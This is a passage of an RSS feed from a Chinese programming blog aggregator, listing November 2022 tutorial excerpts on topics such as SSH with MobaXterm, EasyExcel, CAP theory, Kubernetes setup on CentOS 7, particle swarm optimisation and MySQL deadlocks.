&#34;item&#34;: { &#34;</description>
    </item>
    <item>
      <title>使用mobaxterm与虚拟机远程连接</title>
      <link>https://bchobby.github.io/posts/a1335417111049d2fe39a2b7fe283b53/</link>
      <pubDate>Sat, 12 Nov 2022 20:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1335417111049d2fe39a2b7fe283b53/</guid>
      <description> 1.&#xA;下载mobaxterm安装玩打开&#xA;2.&#xA;打开虚拟机，打开命令，输入ifconfig查看ip 3. 找到红框中的ip&#xA;如果是刚创建好的虚拟机是没有ip的，需要我们手动去获取ip&#xA;输入 nmcli connect ens160 就可以得到ip&#xA;如果想每次开机自动获取ip，输入 nmcli connection nodify ens160 autoconnect yes&#xA;4.打开mobaxterm,输入 nmcli connect点start local terminal输入以下代码&#xA;ssh 账号@ip&#xA;输入密码后连接成功&#xA;5.验证是否连接&#xA;可以看到虚拟机被关闭&#xA;只有连接root管理员用户才能远程关机，正常用户是没有权限的 </description>
    </item>
    <item>
      <title>获取字符串长度、字节长度、UTF-8字节长度（C#）</title>
      <link>https://bchobby.github.io/posts/87a0f207ad471758db4f20ca39a7a7af/</link>
      <pubDate>Sat, 12 Nov 2022 19:23:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87a0f207ad471758db4f20ca39a7a7af/</guid>
      <description>获取字符串长度、字节长度、UTF-8字节长度，&#xA;代码编写：&#xA;string str = &#34;字符串长度测试12345+-=@#&#34;; int test1 = str.Length;//字符串长度：不管中文、英文、符号都是一个字符 int test2 = System.Text.Encoding.Default.GetByteCount(str);//默认编码：中文占两个字节，其他占一个字节 int test3 = System.Text.Encoding.UTF8.GetByteCount(str);//UTF-8编码：中文占三个字节，其他占一个字节 Console.WriteLine(&#34;---------------字符串长度-----------------&#34;); Console.WriteLine(&#34;test1长度：&#34; + test1); Console.WriteLine(&#34;test2长度（默认编码）：&#34; + test2); Console.WriteLine(&#34;test3长度（UTF-8编码）：&#34; + test3); Console.WriteLine(&#34;---------------字符串长度-----------------&#34;); 输出结果：</description>
    </item>
    <item>
      <title>使用Easy Excel对excel的读写</title>
      <link>https://bchobby.github.io/posts/45f486445a86b3626b7ccb605720829f/</link>
      <pubDate>Sat, 12 Nov 2022 17:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45f486445a86b3626b7ccb605720829f/</guid>
      <description>目录&#xA;Easy Excel&#xA;所需依赖&#xA;准备一个excel文件&#xA;对excel的读取&#xA;创建对应的实体类&#xA;创建EasyExcelUtil类&#xA;修改实体类&#xA;对excel的写入&#xA;在EasyExcelUtil类中加入写方法&#xA;对excel的填充&#xA;在EasyExcelUtil类中加入填充方法&#xA;整合为工具类&#xA;Easy Excel EasyExcel是一个基于Java的、快速、简洁、解决大文件内存溢出的Excel处理工具。&#xA;他能让你在不用考虑性能、内存的等因素的情况下，快速完成Excel的读、写等功能。&#xA;所需依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--lombok依赖可以不加，只是之后要手动的写get，set方法--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.24&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--easyexcel--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--slf4j 日志--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.30&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 准备一个excel文件 内容如下：&#xA;id姓名年龄1小明122小红133小刚134小美115小智10 对excel的读取 创建对应的实体类 @Data @AllArgsConstructor @NoArgsConstructor public class User { private String id; private String name; private Integer age; } 如果没有导入lombok依赖需要手动加入get，set方法和构造方法</description>
    </item>
    <item>
      <title>算法设计与分析——活动安排问题（Java）</title>
      <link>https://bchobby.github.io/posts/9a90092a8c3834547190eb955cd2d971/</link>
      <pubDate>Sat, 12 Nov 2022 16:36:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a90092a8c3834547190eb955cd2d971/</guid>
      <description>【问题】设有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源(如演讲会场)，而在同一时间内只有一个活动能使用这一资源。每个活动 都有一个要求使用该资源的起始时间 和一个结束时间 ，且 &amp;lt;。如果选择了活动 ，则它在半开时间区间 [，) 内占用资源。若区间 [，) 与区间 [，) 不相交，则称活动 与活动 是相容的。也就是说，当 ≥ ，或 ≥ 时，活动 与活动 相容。活动安排问题(activity arrangement problem)要求在所给的活动集合中选出最大的相容活动子集。 【想法】贪心法求解活动安排问题的关键是如何选择贪心策略，使得按照一定的顺序选择相容活动，并能够安排尽量多的活动。至少有以下两种看似合理的贪心策略。 (1)最早开始时间：这样可以增大资源的利用率。 (2)最早结束时间：这样可以使下一个活动尽早开始。&#xA;由于活动占用资源的时间没有限制，因此，后一种贪心选择更为合理。直观上，按这种策略选择相容活动可以为未安排的活动留下尽可能多的时间，也就是说，这种贪心选择的目的是使剩余时间段极大化，以便安排尽可能多的相容活动。 为了在每一次贪心选择时快速查找具有最早结束时间的相容活动，可以将 个活动按结束时间非减序排列。这样，贪心选择时取当前活动集合中结束时间最早的活动就归结为取当前活动集合中排在最前面的活动。 例如，设有11个活动等待安排，这些活动按结束时间的非减序排列如下表所示。 12345678910111305356882124567891011121314 贪心法求解活动安排问题的过程如下图所示，其中阴影长条表示该活动已加入解集合中，空白长条表示该活动是当前正在检查相容性的活动。首先选择活动 1 加入解集合，因为活动 1 具有最早结束时间；活动 2 和活动 3 与活动 1 不相容，所以舍弃它们；活动 4 与活动 1 相容，因此将活动 4 加入解集合；然后在剩下的活动中找与活动 4 相容并具有最早结束时间的活动，依此类推。最终被选定的活动集合为{1，4，8，11}。 【算法】设有 n 个活动等待安排， 表示活动 的起始时间， 表示活动 的结束时间( 1 ≤ ≤ )，集合 B 存放问题的解，即选定的活动集合，算法如下。&#xA;输入： 个活动的开始时间 {，，...，} 和结束时间 {，,...，}&#xA;输出：选定的活动集合&#xA;1.对 {，,.</description>
    </item>
    <item>
      <title>cap理论</title>
      <link>https://bchobby.github.io/posts/429f9b7d67bfc77fe51d1b870f0b926a/</link>
      <pubDate>Sat, 12 Nov 2022 15:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/429f9b7d67bfc77fe51d1b870f0b926a/</guid>
      <description>本周预习作业，两个主题：&#xA;连接池 池(Pool)技术在一定程度上可以明显优化服务器应用程序的性能，提高程序执行效率和降低系统资源开销。这里所说的池是一种广义上的池，比如数据库连接池、线程池、内存池、对象池等。其中，对象池可以看成保存对象的容器，在进程初始化时创建一定数量的对象。需要时直接从池中取出一个空闲对象，用完后并不直接释放掉对象，而是再放到对象池中以方便下一次对象请求可以直接复用。其他几种池的设计思想也是如此，池技术的优势是，可以消除对象创建所带来的延迟，从而提高系统的性能。&#xA;要了解Java连接池我们先要了解数据库连接池（connection pool）的原理，Java连接池正是数据库连接池在Java上的应用。——我们知道，对于共享资源，有一个很著名的设计模式：资源池（Resource Pool）。&#xA;该模式正是为了解决资源的频繁分配﹑释放所造成的问题。为解决上述问题，可以采用数据库连接池技术。数据库连接池的基本思想就是为数据库连接建立一个“缓冲池”。预先在缓冲池中放入一定数量的连接，当需要建立数据库连接时，只需从“缓冲池”中取出一个，使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量﹑使用情况，为系统开发﹑测试及性能调整提供依据。&#xA;Java中几个主流的数据库连接池 Java中几个主流的数据库连接池_但行好事 莫問前程的技术博客_51CTO博客&#xA;cap理论 一、什么是分布式系统 拿一个最简单的例子，就比如说我们的图书管理系统。之前的系统包含了所有的功能，比如用户注册登录、管理员功能、图书借阅管理等。这叫做集中式系统。也就是一个人干了好几件事。&#xA;后来随着功能的增多，用户量也越来越大。集中式系统维护太麻烦，拓展性也不好。于是就考虑着把这些功能分开。通俗的理解就是原本需要一个人干的事，现在分给n个人干，各自干各自的，最终取得和一个人干的效果一样。&#xA;稍微正规一点的定义就是：一个业务分拆多个子业务，部署在不同的服务器上。 然后通过一定的通信协议，能够让这些子业务之间相互通信。&#xA;既然分给了n个人，那就涉及到这些人的沟通交流协作问题。想要去解决这些问题，就需要先聊聊分布式系统中的CAP理论。千万不要被这个看起来高大上的概念迷惑住。&#xA;二、cap理论 CAP理论指的是一个分布式系统最多只能同时满足一致性（Consistency）、可用性（Availability）和分区容错性（Partition tolerance）这三项中的两项。&#xA;这张图不知道你之前看到过没，如果你看过书或者是视频，这张图应该被列举了好几遍了。下面我不准备直接上来就对每一个特性进行概述。我们先从案例出发逐步过渡。&#xA;1、一个小例子 首先我们看一张图&#xA;现在网络中有两个节点N1和N2，他们之间网络可以连通，N1中有一个应用程序A，和一个数据库V，N2也有一个应用程序B2和一个数据库V。现在，A和B是分布式系统的两个部分，V是分布式系统的两个子数据库。&#xA;现在问题来了。突然有两个用户小明和小华分别同时访问了N1和N2。我们理想中的操作是下面这样的&#xA;（1）小明访问N1节点，小华访问N2节点。同时访问的。&#xA;（2）小明把N1节点的数据V0变成了V1。&#xA;（2）N1节点一看自己的数据有变化，立马执行M操作，告诉了N2节点。&#xA;（4）小华读取到的就是最新的数据。也是正确的数据。&#xA;上面这是一种最理想的情景。它满足了CAP理论的三个特性。现在我们看看如何来理解满足的这三个特性。&#xA;2、Consistency 一致性 一致性指的是所有节点在同一时间的数据完全一致。就好比刚刚举得例子中，小明和小华读取的都是正确的数据，对他们用户来说，就好像是操作了同一个数据库的同一个数据一样。&#xA;因此对于一致性，也可以分为从客户端和服务端两个不同的视角来理解。&#xA;（1）客户端&#xA;从客户端来看，一致性主要指的是多并发访问时更新过的数据如何获取的问题。也就是小明和小华同时访问，如何获取更新的最新的数据。&#xA;（2）服务端&#xA;从服务端来看，则是更新如何分布到整个系统，以保证数据最终一致。也就是N1节点和N2节点如何通信保持数据的一致。&#xA;对于一致性，一致的程度不同大体可以分为强、弱、最终一致性三类。&#xA;（1）强一致性&#xA;对于关系型数据库，要求更新过的数据能被后续的访问都能看到，这是强一致性。比如小明更新V0到V1，那么小华读取的时候也应该是V1。&#xA;（2）弱一致性&#xA;如果能容忍后续的部分或者全部访问不到，则是弱一致性。比如小明更新VO到V1，可以容忍那么小华读取的时候是V0。&#xA;（3）最终一致性&#xA;如果经过一段时间后要求能访问到更新后的数据，则是最终一致性。比如小明更新VO到V1，可以使得小华在一段时间之后读取的时候是V0。&#xA;3、可用性 可用性指服务一直可用，而且是正常响应时间。就好比刚刚的N1和N2节点，不管什么时候访问，都可以正常的获取数据值。而不会出现问题。好的可用性主要是指系统能够很好的为用户服务，不出现用户操作失败或者访问超时等用户体验不好的情况。&#xA;对于可用性来说就比较好理解了。&#xA;4、分区容错性 分区容错性指在遇到某节点或网络分区故障的时候，仍然能够对外提供满足一致性和可用性的服务。就好比是N1节点和N2节点出现故障，但是依然可以很好地对外提供服务。&#xA;这个分区容错性也是很好理解。&#xA;在经过上面的分析中，在理想情况下，没有出现任何错误的时候，这三条应该都是满足的。但是天有不测风云。系统总是会出现各种各样的问题。下面来分析一下为什么说CAP理论只能满足两条。&#xA;三、验证CAP理论 既然系统总是会有错误，那我们就来看看可能会出现什么错误。&#xA;N1节点更新了V0到V1，想在也想把这个消息通过M操作告诉N1节点，却发生了网络故障。这时候小明和小华都要同时访问这个数据，怎么办呢？现在我们依然想要我们的系统具有CAP三个特性，我们分析一下会发生什么。&#xA;（1）系统网络发生了故障，但是系统依然可以访问，因此具有容错性。&#xA;（2）小明在访问节点N1的时候更改了V0到V1，想要小华访问节点N2的V数据库的时候是V1，因此需要等网络故障恢复，将N2节点的数据库进行更新才可以。&#xA;（3）在网络故障恢复的这段时间内，想要系统满足可用性，是不可能的。因为可用性要求随时随地访问系统都是正确有效的。这就出现了矛盾。&#xA;正是这个矛盾所以CAP三个特性肯定不能同时满足。既然不能满足，那我们就进行取舍。&#xA;有两种选择：&#xA;（1）牺牲数据一致性，也就是小明看到的衣服数量是10，买了一件应该是9了。但是小华看到的依然是10。&#xA;（2）牺牲可用性，也就是小明看到的衣服数量是10，买了一件应该是9了。但是小华想要获取的最新的数据的话，那就一直等待阻塞，一直到网络故障恢复。&#xA;现在你可以看到了CAP三个特性肯定是不能同时满足的，但是可以满足其中两个。&#xA;三、CAP特性的取舍 我们分析一下既然可以满足两个，那么舍弃哪一个比较好呢？&#xA;（1）满足CA舍弃P，也就是满足一致性和可用性，舍弃容错性。但是这也就意味着你的系统不是分布式的了，因为涉及分布式的想法就是把功能分开，部署到不同的机器上。&#xA;（2）满足CP舍弃A，也就是满足一致性和容错性，舍弃可用性。如果你的系统允许有段时间的访问失效等问题，这个是可以满足的。就好比多个人并发买票，后台网络出现故障，你买的时候系统就崩溃了。&#xA;（3）满足AP舍弃C，也就是满足可用性和容错性，舍弃一致性。这也就是意味着你的系统在并发访问的时候可能会出现数据不一致的情况。&#xA;实时证明，大多数都是牺牲了一致性。像12306还有淘宝网，就好比是你买火车票，本来你看到的是还有一张票，其实在这个时刻已经被买走了，你填好了信息准备买的时候发现系统提示你没票了。这就是牺牲了一致性。</description>
    </item>
    <item>
      <title>【计算机组成原理】电路基本原理、加法器的设计</title>
      <link>https://bchobby.github.io/posts/6fc74b68a8b8265aaf3fbc8d0b97c605/</link>
      <pubDate>Sat, 12 Nov 2022 13:21:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fc74b68a8b8265aaf3fbc8d0b97c605/</guid>
      <description> ALU 算术运算：加减乘除等&#xA;逻辑运算：与、或、非、异或等&#xA;辅助功能：移位、求补等&#xA;M S为来自CU控制单元的信号&#xA;A和B为两个4bit的数据输入，F为4bit数据的输出&#xA;机器字长和ALU位数，输入数据位数和其他寄存器位数相同&#xA;逻辑运算和门电路 下面的门电路，分别展示了与门，或门，非门。&#xA;一般非都会有个小⭕在前面。&#xA;优先级：与&amp;gt;或（类比加减乘除）&#xA;Ex：实现AC+AD&#xA;异或的逻辑表达与门电路：&#xA;同或是异或取反&#xA;一位全加器 我们可以将加法化为4个元素的有机结合&#xA;每一步的C和S和这一步的A、B以及上一步的C有关。相关逻辑运算如下：&#xA;相应的门电路：&#xA;一位全加器：&#xA;串行加法器： 只有一个加法器，数据逐行传入运算，进位触发器保留进位数，参与下一次运算。&#xA;串行进位的并行加法器（行波进位） 把n个全加器串接起来，直接进行两个n位数的相加&#xA;more 带组内运行的是将结果根据之前的数据直接运算得出，不需要等输出过来得数据了。&#xA;组内并行，组间串行 组内并行，组间并行 </description>
    </item>
    <item>
      <title>【计算机组成原理】浮点数的运算</title>
      <link>https://bchobby.github.io/posts/1bcb00bbef0ae8260501a5ca41aad9e6/</link>
      <pubDate>Sat, 12 Nov 2022 13:21:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bcb00bbef0ae8260501a5ca41aad9e6/</guid>
      <description>浮点数的运算 X = -5/256&#xA;Y= +59/1024&#xA;计算X-Y&#xA;阶符2位，阶码3位，数符2位，尾数9位&#xA;X = -5 x 1/256 = -5 x 2-8 = -101x 2-8 = -0.101 x 2-5 = -0.101 x 2-101&#xA;Y = 59 x 1/1024 = 59 x 2-10 = 111011x 2-10 = 0.111011 x 2-4 = 0.101 x 2-100&#xA;对阶 小阶向大阶看齐&#xA;1、求阶差&#xA;求出两个数阶的差&#xA;Ex: E1=-101 E2=-100 （二进制） 相对应的补码(双符号)为11011, 11100 第二个补码取反为00100 得差为 11011 + 00100 = 11111 补码转为真值为11001，为-1 2、对阶&#xA;根据求出的阶差，进行阶码和尾数的移位与变换。&#xA;Ex: 根据上面Ex得出第一个阶码比第二个阶码小1 因此x=-0.</description>
    </item>
    <item>
      <title>CentOS7部署k8s集群</title>
      <link>https://bchobby.github.io/posts/288664dd48c5f2cdcc150ff092b4aa52/</link>
      <pubDate>Sat, 12 Nov 2022 11:18:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/288664dd48c5f2cdcc150ff092b4aa52/</guid>
      <description>CentOS版本 ​​​​​​​#cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) 角色 IP&#xA;k8s-master 172.26.197.206&#xA;k8s-node1 172.26.201.116&#xA;k8s-node2 172.26.203.93&#xA;以下步骤，1-8在所有节点执行；9-10在master节点执行&#xA;1 关闭防火墙： $ systemctl stop firewalld $ systemctl disable firewalld 2 关闭 selinux： $ sed -i &#39;s/enforcing/disabled/&#39; /etc/selinux/config # 永久 $ setenforce 0 # 临时 3 关闭 swap： $ swapoff -a # 临时 $ vi /etc/fstab # 永久 #注释掉 /dev/mapper/centos-swap swap swap defaults 0 0 这行 systemctl reboot #重启生效 free ‐m #查看下swap交换区是否都为0，如果都为0则swap关闭成功 4 设置主机名： $ hostnamectl set-hostname &amp;lt;hostname&amp;gt; 5 添加 hosts： $ cat &amp;gt;&amp;gt; /etc/hosts &amp;lt;&amp;lt; EOF 172.</description>
    </item>
    <item>
      <title>【python学习】批量替换/修改文件某字符串</title>
      <link>https://bchobby.github.io/posts/219b0f44b87521270ea18babfee231f6/</link>
      <pubDate>Sat, 12 Nov 2022 10:57:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/219b0f44b87521270ea18babfee231f6/</guid>
      <description> 批量替换文件某字符串 任务要求代码思路实现代码 本文实现批量读取文件，并修改文件中某字符串，重新写入文件。&#xA;任务要求 要求实现将某文件夹下，所有子文件夹中文件的某个字段进行修改&#xA;代码思路 代码思路设计如下：&#xA;【对单份文件】&#xA;使用read()将文件内容读取为一个字符串使用replace()将该字符串中的某个字段进行替换重新以只写模式读入文件，将修改后的字符串重新写入文件 【对多份文件】&#xA;结合os模块，依次读入文件夹路径，子文件夹路径，文件路径，然后使用for循环，对每份文件进行遍历，然后执行读入文件、替换字符串、重新写入文件的操作&#xA;实现代码 import os def new_file(file_PATH,old_str,new_str): &#39;&#39;&#39; 该函数实现批量读入文件，并寻找替换某个字符串，将修改后的字符串重新写入文件 file_PATH:主文件夹路径 folder_path：子文件夹路径 file_path：文件路径 old_str:待修改的字符串 new_str：修改后的字符串 &#39;&#39;&#39; folder_list=os.listdir(file_PATH)#文件夹下的子文件夹列表 for folder in folder_list: folder_path=os.path.join(file_PATH,folder)#子文件夹路径 file_list=os.listdir(folder_path)#子文件夹下的文件列表 for file in file_list: file_path=os.path.join(folder_path,file)#文件路径 with open(file_path, &#34;r&#34;) as f: # 以只读方式打开文件 data = f.read() # 读取文件，读取为一个字符串 str_replace = data.replace(old_str,new_str)#将字符串中的某个字符进行替换 with open(file_path, &#34;w&#34;) as f:#重新打开文件，选择写入模式 f.write(str_replace) # 将修改后的字符串重新写入文件 #函数执行 if __name__ == &#34;__main__&#34;: file_PATH=r&#39;/quantum_chemistry/xtb_calc/file&#39; old_str=&#34;PBE&#34; new_str=&#34;BLYP&#34; new_file(file_PATH=file_PATH,old_str=old_str,new_str=new_str) </description>
    </item>
    <item>
      <title>粒子群算法及其Python实现</title>
      <link>https://bchobby.github.io/posts/b6c4022e1498e4e0bdc10daf47a1d46b/</link>
      <pubDate>Sat, 12 Nov 2022 08:03:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6c4022e1498e4e0bdc10daf47a1d46b/</guid>
      <description>文章目录 算法原理Python实现算法测试 算法原理 粒子群算法，缩写为PSO(Particle Swarm Optimization)，是一种非线性寻优算法，其特点是实现简单、收敛速度快，对多元函数的局部最优有较好的克服能力。&#xA;所谓粒子群，就是一群粒子，每个粒子都有自己的位置和速度，记第 i i i个粒子的位置为 x ⃗ i \vec x_i x i​，速度为 v ⃗ i \vec v_i v i​。如果没有任何外加条件，这群粒子的轨迹，将完全由某一时刻的位置和速度决定。&#xA;而想要通PSO进行优化的函数，则可理解为对粒子的某种约束。例如，现有一个二元函数 y = x 1 2 + x 2 2 y=x_1^2+x_2^2 y=x12​+x22​，要找到这个函数的最小值，根据当前每个粒子的位置都可以得到一个 y y y，记每个粒子的 y y y值为 y i = x i 1 2 + x i 2 2 y_i=x_{i1}^2+x_{i2}^2 yi​=xi12​+xi22​，那么就当前来说，必定有一个 y y y值最小的粒子，这个粒子会成为其他粒子的风向标，大家都纷纷向这颗粒子靠拢，以便让自己也达到最优。&#xA;另一方面，每当经历一轮迭代，第 i i i个粒子都会经历一个地方，如果粒子有记忆的话，它会记住自己的 y y y值最小时的参数，从而不必完全地随波逐流，向当前最优粒子靠拢。&#xA;也就是说，粒子的速度，将由三个因素决定，一是粒子当前的速度；二是粒子群中最优粒子的位置；三则是这个粒子曾经去过的最优的位置。&#xA;记 X ⃗ i \vec X_i X i​为第 i i i个粒子历史上最好的位置； b ⃗ j \vec b_j b j​为第 j j j次迭代得到的最好结果，则第 i i i个粒子的速度表达式可以记作</description>
    </item>
    <item>
      <title>node/npm/nvm node /以及镜像的安装和使用</title>
      <link>https://bchobby.github.io/posts/46e20196298ed1fb65344c5d1ce841b6/</link>
      <pubDate>Fri, 11 Nov 2022 21:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46e20196298ed1fb65344c5d1ce841b6/</guid>
      <description>node: 概述: Node.js发布于2009年5月，由Ryan Dahl开发，是一个基于ChromeV8引擎的JavaScript运行环境，使用了一个事件驱动、非阻塞式I/O模型， [1] 让JavaScript 运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言&#xA;node相关文档: node 命令运行js文件的（自带）&#xA;npm 命令包管理器（管理依赖包的）（自带）&#xA;nvm node版本管理器（node version manage）（安装）&#xA;npx node的快速执行工具（类似于node 快速启动模块）（使用npm安装）&#xA;nrm node的npm管理工具（管理npm的镜像）（使用npm安装的）&#xA;nvm GitHub地址&#xA;配置 在环境变量中进行编辑（如果你不配置对应的环境变量那么在path下要直接填入对应的变量值&#xA;在path中进行配置&#xA;测试: nvm version&#xA;nvm相关指令 nvm current //查看当前的版本&#xA;nvm list //以列表形式查看所有管理的版本 nvm use 版本号 //使用当前版本号&#xA;npx (node版本5.2以上内置npx) npm i npx -g&#xA;nrm (管理对应的镜像地址) npm i nrm -g&#xA;npm配置国内淘宝镜像 1.通过cnpm使用淘宝镜像： npm install -g cnpm --registry=https://registry.npm.taobao.org&#xA;2.将cnpm设置为淘宝镜像：　cnpm config set registry https://registry.npm.taobao.org&#xA;3. 查看cnpm镜像设置： cnpm config get registry</description>
    </item>
    <item>
      <title>ssm的Demo</title>
      <link>https://bchobby.github.io/posts/0cdc7e53e2aedcd9fde64a1a14d0fb66/</link>
      <pubDate>Fri, 11 Nov 2022 19:27:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cdc7e53e2aedcd9fde64a1a14d0fb66/</guid>
      <description>学习了SSM 后将其整合成一个小Demo 1 结构图 2 config层 2.1 JdbcConfig （jdbc配置） public class JdbcConfig { @Value(&#34;${jdbc.driver}&#34;) private String driver ; @Value(&#34;${jdbc.url}&#34;) private String url; @Value(&#34;${jdbc.username}&#34;) private String username; @Value(&#34;${jdbc.password}&#34;) private String password; /** * 创建 dataSource 的bean * @return DataSource */ @Bean public DataSource dataSource(){ DruidDataSource dataSource =new DruidDataSource(); dataSource.setDriverClassName(driver); dataSource.setUrl(url); dataSource.setUsername(username); dataSource.setPassword(password); return dataSource; } /** * 用于事务控制的bean * @param dataSource 参数类型：DataSource 数据库信息 * @return 事务 */ @Bean public PlatformTransactionManager transactionManager(DataSource dataSource){ DataSourceTransactionManager ds =new DataSourceTransactionManager(); ds.</description>
    </item>
    <item>
      <title>MySQL insert 死锁问题记录</title>
      <link>https://bchobby.github.io/posts/2a586614d9ec2f03f0f98884fe58955d/</link>
      <pubDate>Fri, 11 Nov 2022 18:49:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a586614d9ec2f03f0f98884fe58955d/</guid>
      <description>这里写自定义目录标题 Insert死锁问题剖析前置知识构造死锁原因故死锁产生的原因 MySQL 5.7 的死锁前提示例原因解决方案 Insert死锁问题剖析 线上有个批量的insert … on duplicate key update语句引发的死锁问题，查过很多资料并且亲自尝试过后，发现好多博客说的都是错的，其实本身只跟insert的顺序有关，在此记录一下备忘。&#xA;前置知识 X型锁：排他锁&#xA;S型锁：共享锁&#xA;行锁：锁住一行记录&#xA;Next-Key锁：左开右闭区间&#xA;Gap锁：左右开区间&#xA;构造死锁 建表：&#xA;CREATE TABLE hero ( number INT AUTO_INCREMENT, name VARCHAR(100), country varchar(100), PRIMARY KEY (number), UNIQUE KEY uk_name (name) ) Engine=InnoDB CHARSET=utf8; 构造初始数据：&#xA;INSERT INTO hero VALUES (1, &#39;l刘备&#39;, &#39;蜀&#39;), (3, &#39;z诸葛亮&#39;, &#39;蜀&#39;), (8, &#39;c曹操&#39;, &#39;魏&#39;), (15, &#39;x荀彧&#39;, &#39;魏&#39;), (20, &#39;s孙权&#39;, &#39;吴&#39;); 好了，开始了，下面开始两个事务，按顺序执行：&#xA;事务1&#xA;begin: INSERT INTO hero(name, country) VALUES(&#39;g关羽&#39;, &#39;蜀&#39;); 事务2</description>
    </item>
    <item>
      <title>C/C&#43;&#43;，不废话的宏使用技巧</title>
      <link>https://bchobby.github.io/posts/469e87736d9a48d6abac1515c68174c2/</link>
      <pubDate>Fri, 11 Nov 2022 16:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/469e87736d9a48d6abac1515c68174c2/</guid>
      <description>经典废话 下面的所有内容全是我在欣赏一串代码时发出的疑问，之前对宏的了解不多，导致在刚看到下面的这串代码的时候是“地铁 老人 手机”，具体代码如下，如果有对这里解读有问题的欢迎在评论区留言。&#xA;一、预定义宏 编译一个程序涉及很多的步骤&#xA;第一个就是预处理阶段&#xA;预处理器就是在源码编译之前进行一些文本性质的操作&#xA;主要任务比如： 删除注释，插入被include 包含的头文件的内容，替换由define定义的符号，以及确认根据条件编译进行编译&#xA;Visual c + + 编译器预定义某些预处理器宏，具体取决于语言 （C 或 C + +）、 编译目标，以及选择的编译器选项。&#xA;Visual c + + 支持 ANSI/ISO C99 标准和 ISO C + + 14 标准所指定的所需预定义的预处理器宏。 该实现还支持几个更多特定于 Microsoft 的预处理器宏。 仅针对特定的生成环境或编译器选项定义一些宏，宏。 除非另有说明，宏的定义整个翻译单元如同它们指定为 /D 编译器选项参数。 在定义时，宏是由预处理器在编译前扩展为指定的值。 预定义的宏不采用任何参数，并且不能重新定义。&#xA;常见的预定义宏：&#xA;还有更多的一些看如下网址：&#xA;https://learn.microsoft.com/zh-cn/cpp/preprocessor/predefined-macros?view=msvc-170&#xA;在顶部的代码里，由于不同环境下的语言可能有所不同，为了统一书写，需要根据不同版本的特性来做不同的调整，而这就是通过每个版本特殊的预定义宏来实现的。&#xA;二、decltype(x) 以下参考至http://c.biancheng.net/view/7151.html&#xA;什么是decltype decltype 是 C++11 新增的一个关键字，它和 auto 的功能一样，都用来在编译时期进行自动类型推导。&#xA;decltype 是“declare type”的缩写，译为“声明类型”。&#xA;既然已经有了 auto 关键字，为什么还需要 decltype 关键字呢？因为 auto 并不适用于所有的自动类型推导场景，在某些特殊情况下 auto 用起来非常不方便，甚至压根无法使用，所以 decltype 关键字也被引入到 C++11 中。</description>
    </item>
    <item>
      <title>linux常用压缩-解压-打包命令</title>
      <link>https://bchobby.github.io/posts/3ce22d17a2fd676f9413e3b47e7e4bb7/</link>
      <pubDate>Fri, 11 Nov 2022 15:44:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ce22d17a2fd676f9413e3b47e7e4bb7/</guid>
